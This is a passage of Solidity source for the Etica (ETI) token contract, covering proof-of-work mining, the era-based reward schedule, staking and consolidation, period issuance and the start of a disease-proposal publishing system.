(uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract EticaToken is ERC20Interface{ using SafeMath for uint; using ExtendedMath for uint; string public name = "Etica"; string public symbol = "ETI"; uint public decimals = 18; uint public supply; uint public inflationrate; // fixed inflation rate of phase2 (after Etica supply has reached 21 Million ETI) uint public periodrewardtemp; // Amount of ETI issued per period during phase1 (before Etica supply has reached 21 Million ETI) uint public PERIOD_CURATION_REWARD_RATIO = 38196601125; // 38.196601125% of period reward will be used as curation reward uint public PERIOD_EDITOR_REWARD_RATIO = 61803398875; // 61.803398875% of period reward will be used as editor reward uint public UNRECOVERABLE_ETI; // Etica is a neutral protocol, it has no founder I am only an initiator: string public constant initiatormsg = "Discovering our best Futures. All proposals are made under the Creative Commons license 4.0. Kevin Wad"; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) allowed; // ----------- Mining system state variables ------------ // uint public _totalMiningSupply; uint public latestDifficultyPeriodStarted; uint public epochCount; //number of 'blocks' mined uint public _BLOCKS_PER_READJUSTMENT = 2016; //a little number uint public _MINIMUM_TARGET = 2**2; //a big number is easier ; just find a solution that is smaller //uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224 //uint public _MAXIMUM_TARGET = 2**242; // used for tests 243 much faster, 242 seems to be the limit where mining gets much harder uint public _MAXIMUM_TARGET = 2**220; // used for prod uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public blockreward; address public lastRewardTo; uint public lastRewardEthBlockNumber; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; bytes32 RANDOMHASH; // ----------- Mining system state variables ------------ // event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Mint(address indexed from, uint blockreward, uint epochCount, bytes32 newChallengeNumber); constructor() public{ supply = 100 * (10**18); // initial supply equals 100 ETI balances[address(this)] = balances[address(this)].add(100 * (10**18)); // 100 ETI as the default contract balance. // ------------ PHASE 1 (before 21 Million ETI has been reached) -------------- // /* Phase 1 will last about 10 years: --> 11 550 000 ETI to be distributed through MINING as block reward --> 9 450 000 ETI to be issued during phase 1 as periodrewardtemp for ETICA reward system Phase1 is divided between 10 eras: Each Era will allocate 2 100 000 ETI between mining reward and the staking system reward. Each era is supposed to last about a year but can vary depending on hashrate. Era1: 90% ETI to mining and 10% ETI to Staking | Era2: 80% ETI to mining and 20% ETI to Staking Era3: 70% ETI to mining and 30% ETI to Staking | Era4: 60% ETI to mining and 40% ETI to Staking Era5: 50% ETI to mining and 50% ETI to Staking | Era6: 50% ETI to mining and 50% ETI to Staking Era7: 50% ETI to mining and 50% ETI to Staking | Era8: 50% ETI to mining and 50% ETI to Staking Era9: 50% ETI to mining and 50% ETI to Staking | Era10: 50% ETI to mining and 50% ETI to Staking Era1: 1 890 000 ETI as mining reward and 210 000 ETI as Staking reward Era2: 1 680 000 ETI as mining reward and 420 000 ETI as Staking reward Era3: 1 470 000 ETI as mining reward and 630 000 ETI as Staking reward Era4: 1 260 000 ETI as mining reward and 840 000 ETI as Staking reward From Era5 to era10: 1 050 000 ETI as mining reward and 1 050 000 ETI as Staking reward */ // --- STAKING REWARD --- // // periodrewardtemp: It is the temporary ETI issued per period (7 days) as reward of Etica System during phase 1. (Will be replaced by dynamic inflation of golden number at phase 2) // Calculation of initial periodrewardtemp: // 210 000 / 52.1429 = 4027.3939500871643119; ETI per week periodrewardtemp = 4027393950087164311900; // 4027.393950087164311900 ETI per period (7 days) for era1 // --- STAKING REWARD --- // // --- MINING REWARD --- // _totalMiningSupply = 11550000 * 10**uint(decimals); tokensMinted = 0; // Calculation of initial blockreward: // 1 890 000 / 52.1429 = 36246.5455507844788073; ETI per week // amounts to 5178.0779358263541153286 ETI per day; // amounts to 215.7532473260980881386917 ETI per hour; // amounts to 35.9588745543496813564486167 ETI per block for era1 of phase1; blockreward = 35958874554349681356; miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.timestamp; _startNewMiningEpoch(); // --- MINING REWARD --- // // ------------ PHASE 1 (before 21 Million ETI has been reached) -------------- // // ------------ PHASE 2 (after the first 21 Million ETI have been issued) -------------- // // Golden number power 2: 1,6180339887498948482045868343656 * 1,6180339887498948482045868343656 = 2.6180339887498948482045868343656; // Thus yearly inflation target is 2.6180339887498948482045868343656% // inflationrate calculation: // Each Period is 7 days, so we need to get a weekly inflationrate from the yearlyinflationrate target (1.026180339887498948482045868343656): // 1.026180339887498948482045868343656 ^(1 / 52.1429) = 1,0004957512263080183722688891602; // 1,0004957512263080183722688891602 - 1 = 0,0004957512263080183722688891602; // Hence weekly inflationrate is 0,04957512263080183722688891602% inflationrate = 4957512263080183722688891602; // (need to multiple by 10^(-31) to get 0,0004957512263080183722688891602; // ------------ PHASE 2 (after the first 21 Million ETI have been issued) -------------- // //The creator gets nothing! The only way to earn Etica is to mine it or earn it as protocol reward //balances[creator] = _totalMiningSupply; //Transfer(address(0), creator, _totalMiningSupply); } function allowance(address tokenOwner, address spender) view public returns(uint){ return allowed[tokenOwner][spender]; } //approve allowance function approve(address spender, uint tokens) public returns(bool){ require(balances[msg.sender] >= tokens); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } //transfer tokens from the owner account to the account that calls the function function transferFrom(address from, address to, uint tokens) public returns(bool){ balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function totalSupply() public view returns (uint){ return supply; } function accessibleSupply() public view returns (uint){ return supply.sub(UNRECOVERABLE_ETI); } function balanceOf(address tokenOwner) public view returns (uint balance){ return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success){ require(tokens > 0); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------- Mining system functions ---------------- // function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce)); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice if(tokensMinted > 1890000 * 10**uint(decimals)){ if(tokensMinted >= 6300000 * 10**uint(decimals)) { // 6 300 000 = 5 040 000 + 1 260 000; //era5 to era10 blockreward = 19977152530194267420; // 19.977152530194267420 per block (amounts to 1050000 ETI a year) periodrewardtemp = 20136969750435821559600; // from era5 to era 10: 20136.9697504358215596 ETI per week } else if (tokensMinted < 3570000 * 10**uint(decimals)) { // 3 570 000 = 1 890 000 + 1 680 000; // era2 blockreward = 31963444048310827872; // 31.963444048310827872 ETI per block (amounts to 1680000 ETI a year) periodrewardtemp = 8054787900174328623800; // era2 8054.787900174328623800 ETI per week } else if (tokensMinted < 5040000 * 10**uint(decimals)) { // 5 040 000 = 3 570 000 + 1 470 000; //era3 blockreward = 27968013542271974388; // 27.968013542271974388 ETI per block (amounts to 1470000 ETI a year) periodrewardtemp = 12082181850261492935800; // era3 12082.181850261492935800 ETI per week } else { // era4 blockreward = 23972583036233120904; // 23.972583036233120904 per block (amounts to 1260000 ETI a year) periodrewardtemp = 16109575800348657247700; // era4 16109.575800348657247700 ETI per week } } tokensMinted = tokensMinted.add(blockreward); //Cannot mint more tokens than there are: maximum ETI ever mined: _totalMiningSupply assert(tokensMinted < _totalMiningSupply); supply = supply.add(blockreward); balances[msg.sender] = balances[msg.sender].add(blockreward); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); emit Mint(msg.sender, blockreward, epochCount, challengeNumber ); emit Transfer(address(this), msg.sender,blockreward); return true; } //a new 'block' to be mined function _startNewMiningEpoch() internal { epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = blockhash(block.number.sub(1)); challengeNumber = keccak256(abi.encode(challengeNumber, RANDOMHASH)); // updates challengeNumber with merged mining protection } //readjust the target with same rules as bitcoin function _reAdjustDifficulty() internal { uint _oldtarget = miningTarget; // should get as close as possible to (2016 * 10 minutes) seconds => 1 209 600 seconds uint ethTimeSinceLastDifficultyPeriod = block.timestamp.sub(latestDifficultyPeriodStarted); //we want miners to spend 10 minutes to mine each 'block' uint targetTimePerDiffPeriod = _BLOCKS_PER_READJUSTMENT.mul(10 minutes); //Target is 1 209 600 seconds. (2016 * 10 minutes) seconds to mine _BLOCKS_PER_READJUSTMENT blocks of ETI. //if there were less ethereum seconds-timestamp than expected, make it harder if( ethTimeSinceLastDifficultyPeriod < targetTimePerDiffPeriod ) { // New Mining Difficulty = Previous Mining Difficulty * (Time To Mine Last 2016 blocks / 1 209 600 seconds) miningTarget = miningTarget.mul(ethTimeSinceLastDifficultyPeriod).div(targetTimePerDiffPeriod); // the maximum factor of 4 will be applied as in bitcoin if(miningTarget < _oldtarget.div(4)){ //make it harder miningTarget = _oldtarget.div(4); } }else{ // New Mining Difficulty = Previous Mining Difficulty * (Time To Mine Last 2016 blocks / 1 209 600 seconds) miningTarget = miningTarget.mul(ethTimeSinceLastDifficultyPeriod).div(targetTimePerDiffPeriod); // the maximum factor of 4 will be applied as in bitcoin if(miningTarget > _oldtarget.mul(4)){ //make it easier miningTarget = _oldtarget.mul(4); } } latestDifficultyPeriodStarted = block.timestamp; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public view returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public view returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public view returns (uint) { return miningTarget; } //mining reward only if the protocol didnt reach the max ETI supply that can be ever mined: function getMiningReward() public view returns (uint) { if(tokensMinted <= _totalMiningSupply){ return blockreward; } else { return 0; } } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(abi.encodePacked(challenge_number,msg.sender,nonce)); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(abi.encodePacked(challenge_number,msg.sender,nonce)); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------ Mining system functions ------------------------- // // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () payable external { revert(); } } contract EticaRelease is EticaToken { /* --------- PROD VALUES ------------- */ uint public REWARD_INTERVAL = 7 days; // periods duration 7 jours uint public STAKING_DURATION = 28 days; // default stake duration 28 jours uint public DEFAULT_VOTING_TIME = 21 days; // default voting duration 21 days uint public DEFAULT_REVEALING_TIME = 7 days; // default revealing duration 7 days /* --------- PROD VALUES ------------- */ /* --------- TESTING VALUES ------------- uint public REWARD_INTERVAL = 1 minutes; // periods duration 7 jours uint public STAKING_DURATION = 4 minutes; // default stake duration 28 jours uint public DEFAULT_VOTING_TIME = 3 minutes; // default voting duration 21 days uint public DEFAULT_REVEALING_TIME = 1 minutes; // default revealing duration 7 days --------- TESTING VALUES -------------*/ uint public DISEASE_CREATION_AMOUNT = 100 * 10**uint(decimals); // 100 ETI amount to pay for creating a new disease. Necessary in order to avoid spam. Will create a function that periodically increase it in order to take into account inflation uint public PROPOSAL_DEFAULT_VOTE = 10 * 10**uint(decimals); // 10 ETI amount to vote for creating a new proposal. Necessary in order to avoid spam. Will create a function that periodically increase it in order to take into account inflation uint public APPROVAL_THRESHOLD = 5000; // threshold for proposal to be accepted. 5000 means 50.00 %, 6000 would mean 60.00% uint public PERIODS_PER_THRESHOLD = 5; // number of Periods before readjusting APPROVAL_THRESHOLD uint public SEVERITY_LEVEL = 4; // level of severity of the protocol, the higher the more slash to wrong voters uint public PROPOSERS_INCREASER = 3; // the proposers should get more slashed than regular voters to avoid spam, the higher this var the more severe the protocol will be against bad proposers uint public PROTOCOL_RATIO_TARGET = 7250; // 7250 means the Protocol has a goal of 72.50% proposals approved and 27.5% proposals rejected uint public LAST_PERIOD_COST_UPDATE = 0; struct Period{ uint id; uint interval; uint curation_sum; // used for proposals weight system uint editor_sum; // used for proposals weight system uint reward_for_curation; // total ETI issued to be used as Period reward for Curation uint reward_for_editor; // total ETI issued to be used as Period reward for Editor uint forprops; // number of accepted proposals in this period uint againstprops; // number of rejected proposals in this period } struct Stake{ uint amount; uint endTime; // Time when the stake will be claimable } // ----------- PROPOSALS STRUCTS ------------ // // general information of Proposal: struct Proposal{ uint id; bytes32 proposed_release_hash; // Hash of "raw_release_hash + name of Disease" bytes32 disease_id; uint period_id; uint chunk_id; address proposer; // address of the proposer string title; // Title of the Proposal string description; // Description of the Proposal string freefield; string raw_release_hash; } // main data of Proposal: struct ProposalData{ uint starttime; // epoch time of the proposal uint endtime; // voting limite uint finalized_time; // when first clmpropbyhash() was called ProposalStatus status; // Only updates once, when the voting process is over ProposalStatus prestatus; // Updates During voting process bool istie; // will be initialized with value 0. if prop is tie it won't slash nor reward participants uint nbvoters; uint slashingratio; // solidity does not support float type. So will emulate float type by using uint uint forvotes; uint againstvotes; uint lastcuration_weight; // period curation weight of proposal uint lasteditor_weight; // period editor weight of proposal } // ----------- PROPOSALS STRUCTS ------------ // // ----------- CHUNKS STRUCTS ------------ // struct Chunk{ uint id; bytes32 diseaseid; // hash of the disease uint idx; string title; string desc; } // ----------- CHUNKS STRUCTS ------------ // // ----------- VOTES STRUCTS ---------------- // struct Vote{ bytes32 proposal_hash; // proposed_release_hash of proposal bool approve; bool is_editor; uint amount; address voter; // address of the voter uint timestamp; // epoch time of the vote bool is_claimed; // keeps track of whether or not vote has been claimed to avoid double claim on same vote } struct Commit{ uint amount; uint timestamp; // epoch time of the vote } // ----------- VOTES STRUCTS ---------------- // // ----------- DISEASES STRUCTS ---------------- // struct Disease{ bytes32 disease_hash; string name; } // ----------- DISEASES STRUCTS ---------------- // enum ProposalStatus { Rejected, Accepted, Pending, Singlevoter } mapping(uint => Period) public periods; uint public periodsCounter; mapping(uint => uint) public PeriodsIssued; // keeps track of which periods have already issued ETI uint public PeriodsIssuedCounter; mapping(uint => uint) public IntervalsPeriods; // keeps track of which intervals have already a period uint public IntervalsPeriodsCounter; mapping(uint => Disease) public diseases; // keeps track of which intervals have already a period uint public diseasesCounter; mapping(bytes32 => uint) public diseasesbyIds; // get disease.index by giving its disease_hash: example: [leiojej757575ero] => [0] where leiojej757575ero is disease_hash of a Disease mapping(string => bytes32) private diseasesbyNames; // get disease.disease_hash by giving its name: example: ["name of a disease"] => [leiojej757575ero] where leiojej757575ero is disease_hash of a Disease. Set visibility to private because mapping with strings as keys have issues when public visibility mapping(bytes32 => mapping(uint => bytes32)) public diseaseproposals; // mapping of mapping of all proposals for a disease mapping(bytes32 => uint) public diseaseProposalsCounter; // keeps track of how many proposals for each disease // ----------- PROPOSALS MAPPINGS ------------ // mapping(bytes32 => Proposal) public proposals; mapping(uint => bytes32) public proposalsbyIndex; // get proposal.proposed_release_hash by giving its id (index): example: [2] => [huhihgfytoouhi] where huhihgfytoouhi is proposed_release_hash of a Proposal uint public proposalsCounter; mapping(bytes32 => ProposalData) public propsdatas; // ----------- PROPOSALS MAPPINGS ------------ // // ----------- CHUNKS MAPPINGS ---------------- // mapping(uint => Chunk) public chunks; uint public chunksCounter; mapping(bytes32 => mapping(uint => uint)) public diseasechunks; // chunks of a disease mapping(uint => mapping(uint => bytes32)) public chunkproposals; // proposals of a chunk mapping(bytes32 => uint) public diseaseChunksCounter; // keeps track of how many chunks for each disease mapping(uint => uint) public chunkProposalsCounter; // keeps track of how many proposals for each chunk // ----------- CHUNKS MAPPINGS ---------------- // // ----------- VOTES MAPPINGS ---------------- // mapping(bytes32 => mapping(address => Vote)) public votes; mapping(address => mapping(bytes32 => Commit)) public commits; // ----------- VOTES MAPPINGS ---------------- // mapping(address => uint) public bosoms; mapping(address => mapping(uint => Stake)) public stakes; mapping(address => uint) public stakesCounters; // keeps track of how many stakes for each user mapping(address => uint) public stakesAmount; // keeps track of total amount of stakes for each user // Blocked ETI amount, user has votes with this amount in process and can't retrieve this amount before the system knows if the user has to be slahed mapping(address => uint) public blockedeticas; // ---------- EVENTS ----------- // event CreatedPeriod(uint indexed period_id, uint interval); event NewDisease(uint indexed diseaseindex, string title); event NewProposal(bytes32 proposed_release_hash, address indexed _proposer, bytes32 indexed diseasehash, uint indexed chunkid); event NewChunk(uint indexed chunkid, bytes32 indexed diseasehash); event RewardClaimed(address indexed voter, uint amount, bytes32 proposal_hash); event NewFee(address indexed voter, uint fee, bytes32 proposal_hash); event NewSlash(address indexed voter, uint duration, bytes32 proposal_hash); event NewCommit(address indexed _voter, bytes32 votehash); event NewReveal(address indexed _voter, bytes32 indexed _proposal); event NewStake(address indexed staker, uint amount); event StakeClaimed(address indexed staker, uint stakeamount); // ----------- EVENTS ---------- // // ------------- PUBLISHING SYSTEM REWARD FUNCTIONS ---------------- // function issue(uint _id) internal returns (bool success) { // we check whether there is at least one period require(periodsCounter > 0); // we check that the period exists require(_id > 0 && _id <= periodsCounter); // we retrieve the period Period storage period = periods[_id]; // we check that the period is legit and has been retrieved require(period.id != 0); //only allow one issuance for each period uint rwd = PeriodsIssued[period.id]; if(rwd != 0x0) revert(); //prevent the same period from issuing twice uint _periodsupply; // Phase 2 (after 21 000 000 ETI has been reached) if(supply >= 21000000 * 10**(decimals)){ _periodsupply = uint((supply.mul(inflationrate)).div(10**(31))); } // Phase 1 (before 21 000 000 ETI has been reached) else { _periodsupply = periodrewardtemp; } // update Period Reward: period.reward_for_curation = uint((_periodsupply.mul(PERIOD_CURATION_REWARD_RATIO)).div(10**(11))); period.reward_for_editor = uint((_periodsupply.mul(PERIOD_EDITOR_REWARD_RATIO)).div(10**(11))); supply = supply.add(_periodsupply); balances[address(this)] = balances[address(this)].add(_periodsupply); PeriodsIssued[period.id] = _periodsupply; PeriodsIssuedCounter = PeriodsIssuedCounter.add(1); return true; } // create a period function newPeriod() internal { uint _interval = uint((block.timestamp).div(REWARD_INTERVAL)); //only allow one period for each interval uint rwd = IntervalsPeriods[_interval]; if(rwd != 0x0) revert(); //prevent the same interval from having 2 periods periodsCounter = periodsCounter.add(1); // store this interval period periods[periodsCounter] = Period( periodsCounter, _interval, 0x0, //_curation_sum 0x0, //_editor_sum 0x0, //_reward_for_curation 0x0, //_reward_for_editor 0x0, // _forprops 0x0 //_againstprops ); // an interval cannot have 2 Periods IntervalsPeriods[_interval] = periodsCounter; IntervalsPeriodsCounter = IntervalsPeriodsCounter.add(1); // issue ETI for this Period Reward issue(periodsCounter); //readjust APPROVAL_THRESHOLD every PERIODS_PER_THRESHOLD periods: if((periodsCounter.sub(1)) % PERIODS_PER_THRESHOLD == 0 && periodsCounter > 1) { readjustThreshold(); } emit CreatedPeriod(periodsCounter, _interval); } function readjustThreshold() internal { uint _meanapproval = 0; uint _totalfor = 0; // total of proposals accepetd uint _totalagainst = 0; // total of proposals rejected // calculate the mean approval rate (forprops / againstprops) of last PERIODS_PER_THRESHOLD Periods: for(uint _periodidx = periodsCounter.sub(PERIODS_PER_THRESHOLD); _periodidx <= periodsCounter.sub(1); _periodidx++){ _totalfor = _totalfor.add(periods[_periodidx].forprops); _totalagainst = _totalagainst.add(periods[_periodidx].againstprops); } if(_totalfor.add(_totalagainst) == 0){ _meanapproval = 5000; } else{ _meanapproval = uint(_totalfor.mul(10000).div(_totalfor.add(_totalagainst))); } // increase or decrease APPROVAL_THRESHOLD based on comparason between _meanapproval and PROTOCOL_RATIO_TARGET: // if there were not enough approvals: if( _meanapproval < PROTOCOL_RATIO_TARGET ) { uint shortage_approvals_rate = (PROTOCOL_RATIO_TARGET.sub(_meanapproval)); // require lower APPROVAL_THRESHOLD for next period: APPROVAL_THRESHOLD = uint(APPROVAL_THRESHOLD.sub(((APPROVAL_THRESHOLD.sub(4500)).mul(shortage_approvals_rate)).div(10000))); // decrease by up to 27.50 % of (APPROVAL_THRESHOLD - 45) }else{ uint excess_approvals_rate = uint((_meanapproval.sub(PROTOCOL_RATIO_TARGET))); // require higher APPROVAL_THRESHOLD for next period: APPROVAL_THRESHOLD = uint(APPROVAL_THRESHOLD.add(((10000 - APPROVAL_THRESHOLD).mul(excess_approvals_rate)).div(10000))); // increase by up to 27.50 % of (100 - APPROVAL_THRESHOLD) } if(APPROVAL_THRESHOLD < 4500) // high discouragement to vote against proposals { APPROVAL_THRESHOLD = 4500; } if(APPROVAL_THRESHOLD > 9900) // high discouragement to vote for proposals { APPROVAL_THRESHOLD = 9900; } } // ------------- PUBLISHING SYSTEM REWARD FUNCTIONS ---------------- // // -------------------- STAKING ----------------------- // // eticatobosoms(): Stake etica in exchange for bosom function eticatobosoms(address _staker, uint _amount) public returns (bool success){ require(msg.sender == _staker); require(_amount > 0); // even if transfer require amount > 0 I prefer checking for more security and very few more gas // transfer _amount ETI from staker wallet to contract balance: transfer(address(this), _amount); // Get bosoms and add Stake bosomget(_staker, _amount); return true; } // ---- Get bosoms ------ // //bosomget(): Get bosoms and add Stake. Only contract is able to call this function: function bosomget (address _staker, uint _amount) internal { addStake(_staker, _amount); bosoms[_staker] = bosoms[_staker].add(_amount); } // ---- Get bosoms ------ // // ---- add Stake ------ // function addStake(address _staker, uint _amount) internal returns (bool success) { require(_amount > 0); stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 ! // increase variable that keeps track of total value of user's stakes stakesAmount[_staker] = stakesAmount[_staker].add(_amount); uint endTime = block.timestamp.add(STAKING_DURATION); // store this stake in _staker's stakes with the index stakesCounters[_staker] stakes[_staker][stakesCounters[_staker]] = Stake( _amount, // stake amount endTime // endTime ); emit NewStake(_staker, _amount); return true; } function addConsolidation(address _staker, uint _amount, uint _endTime) internal returns (bool success) { require(_amount > 0); stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 ! // increase variable that keeps track of total value of user's stakes stakesAmount[_staker] = stakesAmount[_staker].add(_amount); // store this stake in _staker's stakes with the index stakesCounters[_staker] stakes[_staker][stakesCounters[_staker]] = Stake( _amount, // stake amount _endTime // endTime ); emit NewStake(_staker, _amount); return true; } // ---- add Stake ------ // // ---- split Stake ------ // function splitStake(address _staker, uint _amount, uint _endTime) internal returns (bool success) { require(_amount > 0); stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 ! // store this stake in _staker's stakes with the index stakesCounters[_staker] stakes[_staker][stakesCounters[_staker]] = Stake( _amount, // stake amount _endTime // endTime ); return true; } // ---- split Stake ------ // // ---- Redeem a Stake ------ // //stakeclmidx(): redeem a stake by its index function stakeclmidx (uint _stakeidx) public { // we check that the stake exists require(_stakeidx > 0 && _stakeidx <= stakesCounters[msg.sender]); // we retrieve the stake Stake storage _stake = stakes[msg.sender][_stakeidx]; // The stake must be over require(block.timestamp > _stake.endTime); // the amount to be unstaked must be less or equal to the amount of ETI currently marked as blocked in blockedeticas as they need to go through the clmpropbyhash before being unstaked ! require(_stake.amount <= stakesAmount[msg.sender].sub(blockedeticas[msg.sender])); // transfer back ETI from contract to staker: balances[address(this)] = balances[address(this)].sub(_stake.amount); balances[msg.sender] = balances[msg.sender].add(_stake.amount); emit Transfer(address(this), msg.sender, _stake.amount); emit StakeClaimed(msg.sender, _stake.amount); // deletes the stake _deletestake(msg.sender, _stakeidx); } // ---- Redeem a Stake ------ // // ---- Remove a Stake ------ // function _deletestake(address _staker,uint _index) internal { // we check that the stake exists require(_index > 0 && _index <= stakesCounters[_staker]); // decrease variable that keeps track of total value of user's stakes stakesAmount[_staker] = stakesAmount[_staker].sub(stakes[_staker][_index].amount); // replace value of stake to be deleted by value of last stake stakes[_staker][_index] = stakes[_staker][stakesCounters[_staker]]; // remove last stake stakes[_staker][stakesCounters[_staker]] = Stake( 0x0, // amount 0x0 // endTime ); // updates stakesCounter of _staker stakesCounters[_staker] = stakesCounters[_staker].sub(1); } // ---- Remove a Stake ------ // // ----- Stakes consolidation ----- // // slashing function needs to loop through stakes. Can create issues for claiming votes: // The function stakescsldt() has been created to consolidate (gather) stakes when user has too much stakes function stakescsldt(uint _endTime, uint _min_limit, uint _maxidx) public { // security to avoid blocking ETI by front end apps that could call function with too high _endTime: require(_endTime < block.timestamp.add(730 days)); // _endTime cannot be more than two years ahead // _maxidx must be less or equal to nb of stakes and we set a limit for loop of 50: require(_maxidx <= 50 && _maxidx <= stakesCounters[msg.sender]); uint newAmount = 0; uint _nbdeletes = 0; uint _currentidx = 1; for(uint _stakeidx = 1; _stakeidx <= _maxidx; _stakeidx++) { // only consolidates if account nb of stakes >= 2 : if(stakesCounters[msg.sender] >= 2){ if(_stakeidx <= stakesCounters[msg.sender]){ _currentidx = _stakeidx; } else { // if _stakeidx > stakesCounters[msg.sender] it means the _deletestake() function has pushed the next stakes at the begining: _currentidx = _stakeidx.sub(_nbdeletes); //Notice: initial stakesCounters[msg.sender] = stakesCounters[msg.sender] + _nbdeletes. //So "_stackidx <= _maxidx <= initial stakesCounters[msg.sender]" ===> "_stakidx <= stakesCounters[msg.sender] + _nbdeletes" ===> "_stackidx - _nbdeletes <= stakesCounters[msg.sender]" assert(_currentidx >= 1); // makes sure _currentidx is within existing stakes range } //if stake should end sooner than _endTime it can be consolidated into a stake that end latter: // Plus we check the stake.endTime is above the minimum limit the user is willing to consolidate. For instance user doesn't want to consolidate a stake that is ending tomorrow if(stakes[msg.sender][_currentidx].endTime <= _endTime && stakes[msg.sender][_currentidx].endTime >= _min_limit) { newAmount = newAmount.add(stakes[msg.sender][_currentidx].amount); _deletestake(msg.sender, _currentidx); _nbdeletes = _nbdeletes.add(1); } } } if (newAmount > 0){ // creates the new Stake addConsolidation(msg.sender, newAmount, _endTime); } } // ----- Stakes consolidation ----- // // ----- Stakes de-consolidation ----- // // this function is necessary because if user has a stake with huge amount and has blocked few ETI then he can't claim the Stake because // stake.amount > StakesAmount - blockedeticas function stakesnap(uint _stakeidx, uint _snapamount) public { require(_snapamount > 0); // we check that the stake exists require(_stakeidx > 0 && _stakeidx <= stakesCounters[msg.sender]); // we retrieve the stake Stake storage _stake = stakes[msg.sender][_stakeidx]; // the stake.amount must be higher than _snapamount: require(_stake.amount > _snapamount); // calculate the amount of new stake: uint _restAmount = _stake.amount.sub(_snapamount); // updates the stake amount: _stake.amount = _snapamount; // ----- creates a new stake with the rest -------- // stakesCounters[msg.sender] = stakesCounters[msg.sender].add(1); // store this stake in _staker's stakes with the index stakesCounters[_staker] stakes[msg.sender][stakesCounters[msg.sender]] = Stake( _restAmount, // stake amount _stake.endTime // endTime ); // ------ creates a new stake with the rest ------- // assert(_restAmount > 0); } // ----- Stakes de-consolidation ----- // function stakescount(address _staker) public view returns (uint slength){ return stakesCounters[_staker]; } // ----------------- STAKING ------------------ // // ------------- PUBLISHING SYSTEM CORE FUNCTIONS ---------------- // function createdisease(string memory _name) public { // --- REQUIRE PAYMENT FOR ADDING A DISEASE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // // make sure the user has enough ETI to create a disease require(balances[msg.sender] >= DISEASE_CREATION_AMOUNT); // transfer DISEASE_CREATION_AMOUNT ETI from user wallet to contract wallet: transfer(address(this), DISEASE_CREATION_AMOUNT); UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(DISEASE_CREATION_AMOUNT); // --- REQUIRE PAYMENT FOR ADDING A DISEASE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // bytes32 _diseasehash = keccak256(abi.encode(_name)); diseasesCounter = diseasesCounter.add(1); // notice that first disease will have the index of 1 thus not 0 ! //check: if the disease is new we continue, otherwise we exit if(diseasesbyIds[_diseasehash] != 0x0) revert(); //prevent the same disease from being created twice. The software manages diseases uniqueness based on their unique english name. Note that even the first disease will not have index of 0 thus should pass this check require(diseasesbyNames[_name] == 0); // make sure it is not overwriting another disease thanks to unexpected string tricks from user // store the Disease diseases[diseasesCounter] = Disease( _diseasehash, _name ); // Updates diseasesbyIds and diseasesbyNames mappings: diseasesbyIds[_diseasehash] = diseasesCounter; diseasesbyNames[_name] = _diseasehash; emit NewDisease(diseasesCounter, _name); } function propose(bytes32 _diseasehash, string memory _title, string memory _description, string memory raw_release_hash, string memory _freefield, uint _chunkid) public { //check if the disease exits require(diseasesbyIds[_diseasehash] > 0 && diseasesbyIds[_diseasehash] <= diseasesCounter); 